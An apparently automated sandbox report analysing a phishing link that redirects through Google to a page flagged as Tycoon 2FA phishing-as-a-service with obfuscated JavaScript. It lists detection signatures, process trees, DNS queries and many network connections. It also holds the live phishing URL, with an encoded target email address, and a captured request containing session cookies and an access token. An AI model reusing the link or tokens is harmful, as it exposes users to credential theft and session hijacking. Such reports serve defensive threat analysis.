Edit tour

Windows Analysis Report
https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==

Overview

General Information

Sample URL:	https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==
Analysis ID:	1638513
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains obfuscated javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4540 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,8418107125570705510,6259423881165415329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6856 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_159	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
2.6.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.5.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security

String found in binary or memory: return f}BG.K="internal.enableAutoEventOnTimer";var bc=wa(["data-gtm-yt-inspected-"]),DG=["www.youtube.com","www.youtube-nocookie.com"],EG,FG=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.co.zm
Source: global traffic	DNS traffic detected: DNS query: embalagenspontual.com
Source: global traffic	DNS traffic detected: DNS query: p00.ajpslwqc.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.flipkart.com
Source: global traffic	DNS traffic detected: DNS query: static-assets-web.flixcart.com
Source: global traffic	DNS traffic detected: DNS query: rukminim2.flixcart.com
Source: global traffic	DNS traffic detected: DNS query: 1.rome.api.flipkart.com
Source: global traffic	DNS traffic detected: DNS query: 2.rome.api.flipkart.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: flipkart.d1.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: sonic.fdp.api.flipkart.com
Source: global traffic	DNS traffic detected: DNS query: 1.sonic.fdp.api.flipkart.com
Source: global traffic	DNS traffic detected: DNS query: js-agent.newrelic.com

Source: unknown

HTTP traffic detected: POST /4/data/collector/business HTTP/1.1Host: sonic.fdp.api.flipkart.comConnection: keep-aliveContent-Length: 244sec-ch-ua-platform: "Windows"X-user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 FKUA/website/42/website/DesktopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/jsonsec-ch-ua-mobile: ?0Accept: */*Origin: https://www.flipkart.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.flipkart.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: T=TI174195534566200117375504449787771147492982180130938279149567920705; SN=2.VIF664935161C24EFBA45BA15E8714B97D.SIE065130A49A349DEB54B9F92C9744B68.VS4AFDF0E9F6F0467DACBE0DE90AE96C90.1741955345; at=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjFkOTYzYzUwLTM0YjctNDA1OC1iMTNmLWY2NDhiODFjYTBkYSJ9.eyJleHAiOjE3NDM2ODMzNDUsImlhdCI6MTc0MTk1NTM0NSwiaXNzIjoia2V2bGFyIiwianRpIjoiZWI3ZGUzMjAtOGI2NS00ZGU3LTkwNWYtOTI5ZDI5N2ZkYmQyIiwidHlwZSI6IkFUIiwiZElkIjoiVEkxNzQxOTU1MzQ1NjYyMDAxMTczNzU1MDQ0NDk3ODc3NzExNDc0OTI5ODIxODAxMzA5MzgyNzkxNDk1Njc5MjA3MDUiLCJrZXZJZCI6IlZJQjc1N0M5NEUyNkUxNDk4MTkwRTEyNUM3MDhGRjYxRUIiLCJ0SWQiOiJtYXBpIiwidnMiOiJMTyIsInoiOiJIWUQiLCJtIjp0cnVlLCJnZW4iOjR9.EtSAGR_EFgiEiaBHsicVEUtin6V6U3_3oWDKlw6zX7k; K-ACTION=null; ud=5.VXW-ysm2i3hk2Taf_e6V5OOqdQ4UU7nJL-0dJbB0LbUWty44qNSQVUN1IYVI-8KfZZMjJ7h6KOL-SfW7BDRuWHBFhWGp8ZnY61mBNDKeX9a8TpqBaLRvBe2WEvPOc3lSqLlmu-t1Ofo10sa1A9lHuQ; vh=897; vw=1280; dpr=1; Network-Type=3g; AMCVS_17EB401053DAF4840A490D4C%40AdobeOrg=1; AMCV_17EB401053DAF4840A490D4C%40AdobeOrg=-227196251%7CMCIDTS%7C20162%7CMCMID%7C78223614986632673947838416992384023197%7CMCAID%7CNONE%7CMCOPTOUT-1741962554s%7CNONE%7CMCAAMLH-1742560154%7C6%7CMCAAMB-1742560154%7Cj8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI; gpv_pn=HomePage; gpv_pn_t=FLIPKART%3AHomePage

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 14 Mar 2025 12:29:27 GMTContent-Length: 0Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 14 Mar 2025 12:29:30 GMTContent-Length: 0Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 14 Mar 2025 12:29:32 GMTContent-Length: 0Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close

Source: chromecache_155.4.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_155.4.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_190.4.dr	String found in binary or memory: https://embalagenspontual.com/.dnd/
Source: chromecache_155.4.dr	String found in binary or memory: https://google.com
Source: chromecache_155.4.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_155.4.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_155.4.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_235.4.dr	String found in binary or memory: https://rukminim1.flixcart.com/www/
Source: chromecache_155.4.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_155.4.dr	String found in binary or memory: https://www.google.com
Source: chromecache_155.4.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_155.4.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_155.4.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_155.4.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49680
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
